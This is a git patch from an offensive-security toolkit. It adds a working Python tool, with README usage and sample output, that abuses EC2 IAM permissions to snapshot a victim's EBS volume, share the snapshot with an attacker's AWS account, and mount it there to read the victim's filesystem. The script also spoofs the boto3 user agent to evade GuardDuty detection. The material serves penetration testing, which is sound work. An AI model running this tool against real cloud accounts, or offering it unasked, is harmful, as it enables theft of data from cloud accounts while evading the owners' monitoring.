From 853f891a8491447200f8e90e6882dbd83de9f1f2 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Wed, 4 Dec 2019 17:56:56 +0100 Subject: [PATCH] Added exfiltrate-ec2.py --- clouds/aws/README.md | 94 +++++++ clouds/aws/exfiltrate-ec2.py | 521 +++++++++++++++++++++++++++++++++++ linux/prepare-kali.sh | 2 +- 3 files changed, 616 insertions(+), 1 deletion(-) create mode 100644 clouds/aws/exfiltrate-ec2.py diff --git a/clouds/aws/README.md b/clouds/aws/README.md index 617142f..7573005 100644 --- a/clouds/aws/README.md +++ b/clouds/aws/README.md @@ -95,6 +95,100 @@ Afterwards, one should see following logs in CloudWatch traces for planted Lambd - **`evaluate-iam-role.sh`** - Enumerates attached IAM Role policies, goes through all of granted permissions and lists those that are known for Privilege Escalation risks. Based on [Rhino Security Labs work](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/). [gist](https://gist.github.com/mgeeky/14685d94af7848e64afefe6fd2341a18) +- **`exfiltrate-ec2.py`** - This script exploits insecure permissions given to the EC2 IAM Role allowing to exfiltrate target EC2's filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image. + +IAM Permissions abused: +- `ec2:CreateSnapshot` +- `ec2:ModifySnapshotAttribute` +- `ec2:CreateImage` + +``` +attacker $ python3 ./exfiltrate-ec2.py --region us-east-1 -v --profile default --victim-profile victim-profile createsnapshot --volume-id vol-0f340890acfXXXXX --attach-instance-id i-0b359b0fcbcYYYYY + + :: exfiltrate-ec2 + Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume + Mariusz B. / mgeeky '19, + +[.] Using attacker's profile: default +[.] Using victim's profile: victim-profile +[.] Using region: us-east-1 +[.] Authenticating using Attacker's AWS credentials... +[.] Authenticating using Victim's AWS credentials... +[>] Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute... + +[>] Step 1: Creating EBS volume snapshot. VolumeId = vol-0f340890acfXXXXX +[+] Snapshot of volume vol-0f340890acfXXXXX created: snap-0d7a43f0ff34ZZZZ +[>] Step 2: Modifying snapshot attributes to share it with UserId = 71284700000 +[+] Snapshot's attributes modified to share it with user 71284700000 +[>] Step 3: Waiting for the snapshot to transit into completed state. +[>] Step 4: Creating EBS volume in Attacker's 71284700000 AWS account. +[.] Obtained Attacker's EC2 instance Availbility Zone automatically: us-east-1d +[+] Created EBS volume (vol-04f36e35abeWWW at Attacker's side out from exfiltrated snapshot (snap-0d7a43f0ff34ZZZZ) +[>] Step 5: Waiting for the volume to transit into created state. +[>] Step 6: Attaching created EBS volume to Attacker's specified EC2 instance +[-] Attacker's machine is in running state, preventing to attach it a volume. +[.] Trying to stop the EC2 instance, then attach the volume and then restart it. +[+] Attached volume to the specified Attacker's EC2 instance: i-0b359b0fcbcYYYYY +[.] Restarting it... + +=============================================================== +[MODULE FINISHED] +=============================================================== + +[+] Exfiltrated snapshot of a victim's EBS volume: + VictimVolumeId = vol-0f340890acfXXXXX + +[+] By creating a snapshot of it, shared to the attacker's AWS user ID. + SnapshotId = snap-0d7a43f0ff34ZZZZ + +If everything went fine, Attacker's AWS account 71284700000 should have a EBS volume now: + AttackerVolumeId = vol-04f36e35abeWWW + +That was attached to the specified attacker's EC2 instance: + AttackerInstanceId = i-0b359b0fcbcYYYYY + AvailibityZone = us-east-1d + +Most likely as a '/dev/xvdf' device. + +=============================================================== +To examine exfiltrated data: + + 0) SSH to the attacker's EC2 instance + # ssh ec2-user@18.206.230.190 + + + 1) List block devices mapped: + # lsblk + + 2) If above listing yielded mapped block device, e.g. xvdf, create a directory for it: + # mkdir /exfiltrated + + 3) Mount that device's volume: + # mount /dev/xvdf1 /exfiltrated + + +attacker $ ssh ec2-user@18.206.230.190 +[...] +ec2-user@ec2instance:~$ sudo -s +root@ec2instance:/home/ec2-user# lsblk +NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT +xvda 202:0 0 25G 0 disk +└─xvda1 202:1 0 25G 0 part +xvdf 202:80 0 25G 0 disk +└─xvdf1 202:81 0 25G 0 part / +root@ec2instance:/home/ec2-user# mkdir /exfiltrated +root@ec2instance:/home/ec2-user# mount /dev/xvda1 /exfiltrated +root@ec2instance:/home/ec2-user# ls -l /exfiltrated +total 84 +-rw-r--r-- 1 root root 0 lip 31 2018 0 +lrwxrwxrwx 1 root root 7 sie 17 2018 bin -> usr/bin +drwxr-xr-x 3 root root 4096 sie 17 2018 boot +drwxr-xr-x 4 root root 4096 sie 17 2018 dev +drwxr-xr-x 179 root root 12288 gru 4 16:37 etc +drwxr-xr-x 3 root root 4096 lis 4 16:18 home +[...] +``` + - **`exfiltrateLambdaTasksDirectory.py`** - Script that creates an in-memory ZIP file from the entire directory `$LAMBDA_TASK_ROOT` (typically `/var/task`) and sends it out in a form of HTTP(S) POST request, within an `exfil` parameter. To be used for exfiltrating AWS Lambda's entire source code. - **`get-session-creds-in-config-format.sh`** - Calls `aws sts assume-role` using MFA token in order to then retrieve session credentials and reformat it into `~/.aws/credentials` file format. Having that it's easy to copy-and-paste that script's output into credentials file. Then tools such as _s3tk_ that are unable to process MFA tokens may just use preconfigured profile creds. diff --git a/clouds/aws/exfiltrate-ec2.py b/clouds/aws/exfiltrate-ec2.py new file mode 100644 index 0000000..435fb56 --- /dev/null +++ b/clouds/aws/exfiltrate-ec2.py @@ -0,0 +1,521 @@ +#!/usr/bin/python3 +# +# This script abuses insecure permissions given to the EC2 IAM Role to exfiltrate target EC2's +# filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image. +# +# CreateSnapshot: +# Abuses: +# ec2:CreateSnapshot +# ec2:ModifySnapshotAttribute +# +# The script will firstly create an EBS volume snapshot of the provided volume id. Then it will +# modify that snapshot's attributes to make it available for the foreign AWS Account that's going to +# be the Attacker's account. Then, the attacker will be able to create an EBS volume out of that snapshot. +# After doing so, the script will stop specified by the Attacker EC2 instance in order to later on attach it +# with a previously created volume. Afterwards, the instance will be restarted and the attacker will be able +# to mount freshly attached volume in the operating system to further examine its contents. +# +# This technique is safe to be demonstrated during AWS Penetration tests. +# +# +# CreateImage: +# Abuses: +# ec2:CreateImage +# +# NOT IMPLEMENTED YET. +# For this technique, the procedure is following - the script will create an image out of specified victim's EC2 +# instance. This image will become publicly available (caution with client sensitive data!). After that, the script +# will attempt to create/import public SSH RSA keys to the attacker's account and then create an EC2 instance using that +# publicly available just created AMI image. Ultimately, the attacker will be able to SSH into newly created box to +# further examine it's filesystem contents. +# +# WARNING: Since this method creates a publicly available AMI image that will contain customer sensitive data, it is +# not recommended to use it during legal AWS Penetration Tests +# +# Author: Mariusz B. / mgeeky, '19, +# + +import sys +import pyjq +import json +import time +import boto3 +import argparse +from botocore.exceptions import ClientError + +config = { + 'verbose' : False, + 'region' : '', + 'victim' : { + 'profile' : '', + 'access-key' : '', + 'secret-key' : '', + 'token' : '', + }, + 'attacker' : { + 'profile' : '', + 'access-key' : '', + 'secret-key' : '', + 'token' : '', + }, + 'method' : '', + 'volume-id': '', + 'instance-id': '', + 'attach-instance-id': '', +} + +class Logger: + @staticmethod + def _out(x): + sys.stdout.write(x + '\n') + + @staticmethod + def out(x): + Logger._out('[>] ' + x) + + @staticmethod + def info(x): + if config['verbose']: + Logger._out('[.] ' + x) + + @staticmethod + def fatal(x): + sys.stdout.write('[!] ' + x + '\n') + sys.exit(1) + + @staticmethod + def fail(x): + Logger._out('[-] ' + x) + + @staticmethod + def ok(x): + Logger._out('[+] ' + x) + + +class ExfiltrateEC2: + session = None + def __init__(self, region, attacker_keys, victim_keys): + self.region = region + self.keys = { + 'attacker' : {}, + 'victim' : {}, + } + self.keys['attacker'] = attacker_keys + self.keys['victim'] = victim_keys + self.session = { + 'attacker' : None, + 'victim' : None, + } + + Logger.info(f"Using region: {region}") + + Logger.info("Authenticating using Attacker's AWS credentials...") + self.session['attacker'] = self.authenticate(region, attacker_keys) + + Logger.info("Authenticating using Victim's AWS credentials...") + self.session['victim'] = self.authenticate(region, victim_keys) + + def authenticate(self, region, keys): + session = None + try: + if keys['profile']: + session = boto3.Session( + profile_name = keys['profile'], + region_name = region + ) + else: + session = boto3.Session( + aws_access_key_id = keys['access-key'], + aws_secret_access_key = keys['secret-key'], + aws_session_token = keys['token'], + region_name = region + ) + except Exception as e: + Logger.fail(f'Could not authenticate to AWS: {e}') + raise e + + return session + + def get_session(self, whose): + return self.session[whose] + + def get_account_id(self, whose): + try: + return self.session[whose].client('sts').get_caller_identity()['Account'] + except Exception as e: + Logger.fatal(f'Could not Get Caller\'s identity: {e}') + + def create_snapshot(self, attacker_instance_id, volume_id, availability_zone): + victim_client = self.session['victim'].client('ec2') + attacker_client = self.session['attacker'].client('ec2') + + target_user = self.get_account_id('attacker') + + snapshot = None + volume_created = None + modify_result = None + + Logger.out(f"Step 1: Creating EBS volume snapshot. VolumeId = {volume_id}") + try: + snapshot = victim_client.create_snapshot( + Description = f'Exfiltrated EBS snapshot of volume: {volume_id}', + VolumeId = volume_id + ) + Logger.ok(f"Snapshot of volume {volume_id} created: {snapshot['SnapshotId']}") + except Exception as e: + Logger.fatal(f"ec2:CreateSnapshot action on Victim failed. Exception: {e}") + + Logger.out(f"Step 2: Modifying snapshot attributes to share it with UserId = {target_user}") + try: + modify_result = victim_client.modify_snapshot_attribute( + Attribute = f'createVolumePermission', + OperationType = 'add', + SnapshotId = snapshot['SnapshotId'], + UserIds = [ + target_user, + ] + ) + Logger.ok(f"Snapshot's attributes modified to share it with user {target_user}") + except Exception as e: + Logger.fatal(f"ec2:ModifySnapshotAttribute action on Victim failed. Exception: {e}") + + Logger.out(f"Step 3: Waiting for the snapshot to transit into completed state.") + try: + victim_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot['SnapshotId']]) + except Exception as e: + Logger.fail(f"boto3 Waiter for snapshot completed state failed. Exception: {e}") + Logger.info("Waiting in a traditional manner: 3 minutes.") + + time.sleep(3 * 60) + + Logger.out(f"Step 4: Creating EBS volume in Attacker's {target_user} AWS account.") + + attacker_instance_data = None + try: + if not availability_zone: + availability_zone = self.region + 'a' + attacker_instance = attacker_client.describe_instances( + InstanceIds = [attacker_instance_id, ] + ) + + for inst in attacker_instance['Reservations'][0]['Instances']: + if inst['InstanceId'] == attacker_instance_id: + availability_zone = inst['Placement']['AvailabilityZone'] + attacker_instance_data = inst + Logger.info(f"Obtained Attacker's EC2 instance Availbility Zone automatically: {availability_zone}") + break + except Exception as e: + Logger.fail(f"THIS MAY BE FATAL: Could not enumerate attacker's instance with given InstanceId = {attacker_instance_id}") + Logger.fail(f"Exception: {e}") + raise e + availability_zone = self.region + 'a' + + try: + volume_created = attacker_client.create_volume( + AvailabilityZone = availability_zone, + Encrypted = False, + VolumeType = 'gp2', + SnapshotId = snapshot['SnapshotId'] + ) + Logger.ok(f"Created EBS volume ({volume_created['VolumeId']} at Attacker's side out from exfiltrated snapshot ({snapshot['SnapshotId']})") + except Exception as e: + Logger.fail(f"ec2:CreateVolume action on Attacker failed. Exception: {e}") + + Logger.out(f"Step 5: Waiting for the volume to transit into created state.") + try: + attacker_client.get_waiter('volume_available').wait(VolumeIds=[volume_created['VolumeId']]) + except Exception as e: + Logger.fail(f"boto3 Waiter for volume available failed. Exception: {e}") + Logger.info("Waiting in a traditional manner: 3 minutes.") + + time.sleep(3 * 60) + + Logger.out(f"Step 6: Attaching created EBS volume to Attacker's specified EC2 instance") + try: + attacker_client.attach_volume( + Device = '/dev/xvdf', + InstanceId = attacker_instance_id, + VolumeId = volume_created['VolumeId'] + ) + Logger.ok(f"Attached volume to the specified Attacker's EC2 instance: {attacker_instance_id}") + except Exception as e: + if 'IncorrectInstanceState' in str(e): + Logger.fail("Attacker's machine is in running state, preventing to attach it a volume.") + Logger.info("Trying to stop the EC2 instance, then attach the volume and then restart it.") + + try: + attacker_instance = attacker_client.stop_instances( + InstanceIds = [attacker_instance_id, ] + ) + attacker_client.get_waiter('instance_stopped').wait(InstanceIds = [attacker_instance_id, ]) + attacker_client.attach_volume( + Device = '/dev/xvdf', + InstanceId = attacker_instance_id, + VolumeId = volume_created['VolumeId'] + ) + Logger.ok(f"Attached volume to the specified Attacker's EC2 instance: {attacker_instance_id}") + except Exception as e: + Logger.fail(f"ec2:AttachVolume action on Attacker failed. Exception: {e}") + Logger.fail("Tried to automatically stop attacker's EC2 instance, then attach volume and restart it, but that failed as well.") + Logger.fail(f"Exception: " + str(e)) + + Logger.info("Restarting it...") + attacker_instance = attacker_client.start_instances( + InstanceIds = [attacker_instance_id, ] + ) + attacker_client.get_waiter('instance_running').wait(InstanceIds = [attacker_instance_id, ]) + + try: + attacker_instance = attacker_client.describe_instances( + InstanceIds = [attacker_instance_id, ] + ) + for inst in attacker_instance['Reservations'][0]['Instances']: + if inst['InstanceId'] == attacker_instance_id: + attacker_instance_data = inst + break + except: pass + else: + Logger.fail(f"ec2:AttachVolume action on Attacker failed. Exception: {e}") + + ssh_command = 'SSH to the attacker\'s EC2 instance' + if attacker_instance_data: + try: + ip = attacker_instance_data['PublicIpAddress'] + except: + Logger.fail(f"Could not obtain Attacker's EC2 Public ip address. Available fields:\n {attacker_instance_data}\n") + ip = "ec2-ip-address" + + if ip: + ssh_command = f'''SSH to the attacker's EC2 instance + # ssh ec2-user@{ip} +''' + + print(f''' +=============================================================== +[MODULE FINISHED] +=============================================================== + +[+] Exfiltrated snapshot of a victim's EBS volume: + VictimVolumeId = {volume_id} + +[+] By creating a snapshot of it, shared to the attacker's AWS user ID. + SnapshotId = {snapshot['SnapshotId']} + +If everything went fine, Attacker's AWS account {target_user} should have a EBS volume now: + AttackerVolumeId = {volume_created['VolumeId']} + +That was attached to the specified attacker's EC2 instance: + AttackerInstanceId = {attacker_instance_id} + AvailibityZone = {availability_zone} + +Most likely as a '/dev/xvdf' device. + +=============================================================== +To examine exfiltrated data: + + 0) {ssh_command} + 1) List block devices mapped: + # lsblk + + 2) If above listing yielded mapped block device, e.g. xvdf, create a directory for it: + # mkdir /exfiltrated + + 3) Mount that device's volume: + # mount /dev/xvdf1 /exfiltrated + + 4) Review it's contents: + # ls -l /exfiltrated +''') + return True + + def create_image(self, instance_id): + # Step 1: Create image: + # client.create_image( + # InstanceId = "", + # Name = "some name", + # Description = "some description" + # ) + # Returns: + # { + # "ImageId" : "ami-00000000" + # } + + # Step 2: Import custom SSH RSA public key + # client.import_key_pair( + # KeyName = "Some key name" + # PublicKeyMaterial = "key material" + # ) + + # Step 3: Create an instance from exported AMI + # client.run_instances( + # ImageId = "ami-00000000", + # SecurityGroupIds = ["sg-00000", ], + # SubnetId = "subnet-aaaaaa", + # Count = 1, + # InstanceType = "t2.micro", + # KeyName = "Some key name", + # Query = "Instances[0].InstanceId", + # ) + # Returns: + # "i-00001111002222" + + # Step 4: Connect to that EC2 instance + # client.describe_instances( + # InstanceIds = ["i-00001111002222"], + # Query = "Reservations[0].Instances[0].PublicIpAddress" + # ) + # Returns: + # "1.2.3.4" + # + # $ ssh ec2-user@1.2.3.4 + # $ ls -l + Logger.fatal("NOT IMPLEMENTED YET.") + +def parseOptions(argv): + global config + + print(''' + :: exfiltrate-ec2 + Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume + Mariusz B. / mgeeky '19, +''') + + parser = argparse.ArgumentParser(prog = argv[0]) + parser._action_groups.pop() + required = parser.add_argument_group('required arguments') + optional = parser.add_argument_group('optional arguments') + + attacker = parser.add_argument_group('Attacker\'s AWS credentials - where to instantiate exfiltrated EC2') + victim = parser.add_argument_group('Victim AWS credentials - where to find EC2 to exfiltrate') + + required.add_argument('--region', type=str, help = 'AWS Region to use.') + + attacker.add_argument('--profile', type=str, help = 'Attacker\'s AWS Profile name to use if --access-key was not specified', default = 'default') + attacker.add_argument('--access-key', type=str, help = 'Attacker\'s AWS Access Key ID to use if --profile was not specified') + attacker.add_argument('--secret-key', type=str, help = 'Attacker\'s AWS Secret Key ID') + attacker.add_argument('--token', type=str, help = '(Optional) Attacker\'s AWS temporary session token') + + victim.add_argument('--victim-profile', type=str, help = 'Victim\'s AWS Profile name to use if --access-key was not specified') + victim.add_argument('--victim-access-key', type=str, help = 'Victim\'s AWS Access Key ID to use if --profile was not specified') + victim.add_argument('--victim-secret-key', type=str, help = 'Victim\'s AWS Secret Key ID') + victim.add_argument('--victim-token', type=str, help = '(Optional) Victim\'s AWS temporary session token') + + optional.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.') + + subparsers = parser.add_subparsers(help='Available methods', dest='method') + + a = 'Creates a snapshot of a running or stopped EC2 instance in an AMI image form.'\ + ' This AMI image will then be shared with another AWS account, constituing exfiltration opportunity.' + createimage = subparsers.add_parser('createimage', help = a) + createimage.add_argument('--instance-id', help = '(Required) Specifies instance id (i-...) to create an image of.') + + b = 'Creates a snapshot of an EBS volume used by an EC2 instance.'\ + ' This snapshot will then be shared with another AWS account, constituing exfiltration opportunity.' + createsnapshot = subparsers.add_parser('createsnapshot', help = b) + createsnapshot.add_argument('--volume-id', help = '(Required) Specifies EBS volume id (vol-...) to create a snapshot of.') + createsnapshot.add_argument('--attach-instance-id', help = '(Required) Specifies Attacker\'s instance ID where snapshot should be attached as a volume (i-...). This instance must be created in the same region as specified and must be in a STOPPED state. Otherwise, this script will automatically stop the instance and then restart it after attaching volume.') + createsnapshot.add_argument('--availability-zone', help = '(Optional) Specifies in which Attacker\'s EC2 instance availability zone was placed. If this parameter is not specified, the program will try to invoke ec2:DescribeInstances to find that information automatically.') + + args = parser.parse_args() + + config['verbose'] = args.verbose + config['region'] = args.region + + if args.method == 'createimage': + if args.instance_id != None: + config['instance-id'] = args.instance_id + else: + Logger.fatal('--instance-id parameter is required for this to work.') + + if args.method == 'createsnapshot': + if args.volume_id != None and args.attach_instance_id != None: + config['volume-id'] = args.volume_id + config['attach-instance-id'] = args.attach_instance_id + config['availability-zone'] = args.availability_zone + else: + Logger.fatal('--volume-id and --attach-instance-id parameters are required for this to work.') + + if not args.region: + Logger.fatal("Please provide AWS region to operate in.") + + if args.profile and (args.access_key or args.secret_key or args.token): + Logger.fatal("There should only be used either profile name or raw credentials for Attacker's AWS keys!") + + if args.victim_profile and (args.victim_access_key or args.victim_secret_key or args.victim_token): + Logger.fatal("There should only be used either profile name or raw credentials for Victim's AWS keys!") + + if args.profile: + config['attacker']['profile'] = args.profile + Logger.info(f"Using attacker's profile: {args.profile}") + elif args.access_key and args.secret_key: + config['attacker']['access-key'] = args.access_key + config['attacker']['secret-key'] = args.secret_key + config['attacker']['token'] = args.token + Logger.info(f"Using passed Attacker's AWS credentials: ******{args.access_key[-6:]}") + else: + Logger.fatal("Both access key and secret key must be specified for Attacker's AWS credentials if profile was not used!") + + if args.victim_profile: + config['victim']['profile'] = args.profile + Logger.info(f"Using victim's profile: {args.profile}") + elif args.victim_access_key and args.victim_secret_key: + config['victim']['access-key'] = args.victim_access_key + config['victim']['secret-key'] = args.victim_secret_key + config['victim']['token'] = args.victim_token + Logger.info(f"Using passed Victim's AWS credentials: ******{args.victim_access_key[-6:]}") + else: + Logger.fatal("Both access key and secret key must be specified for Victim's AWS credentials if profile was not used!") + + return args + +def monkeyPatchBotocoreUserAgent(): + ''' + This is to avoid triggering GuardDuty 'PenTest:IAMUser/KaliLinux' alerts + Source: + https://www.thesubtlety.com/post/patching-boto3-useragent/ + + ''' + import sys + import boto3 + import botocore + + try: + from _pytest.monkeypatch import MonkeyPatch + except (ImportError, ModuleNotFoundError) as e: + print('[!] Please install "pytest" first: pip3 install pytest') + print('\tthis will be used to patch-up boto3 library to avoid GuardDuty Kali detection') + sys.exit(0) + + monkeypatch = MonkeyPatch() + def my_user_agent(self): + return "Boto3/1.9.89 Python/2.7.12 Linux/4.2.0-42-generic" + + monkeypatch.setattr(botocore.session.Session, 'user_agent', my_user_agent) + +def main(argv): + opts = parseOptions(argv) + if not opts: + Logger.err('Options parsing failed.') + return False + + monkeyPatchBotocoreUserAgent() + + exp = ExfiltrateEC2( + opts.region, + config['attacker'], + config['victim'], + ) + + if opts.method == 'createimage': + Logger.info("Abusing ec2:CreateImage...") + exp.create_image(opts.instance_id) + + elif opts.method == 'createsnapshot': + Logger.out("Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute...\n") + exp.create_snapshot(opts.attach_instance_id, opts.volume_id, opts.availability_zone) + + else: + Logger.fatal(f"Unknown method specified: {opts.method}") + +if __name__ == '__main__': + main(sys.argv) diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index 6bc0b49..6bf069e 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -66,7 +66,7 @@ apt-get update --fix-missing apt install -yq -m git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient unrar libnfc-bin autoconf libnfc-dev tox libmariadb-dev python-m2crypto -pip3 install virtualenv awscli wheel boto3 botocore btlejack +pip3 install virtualenv awscli wheel boto3 botocore btlejack six pip2 install virtualenv wheel boto3 botocore pyinstaller lxml pyip ansi2html install_dotnet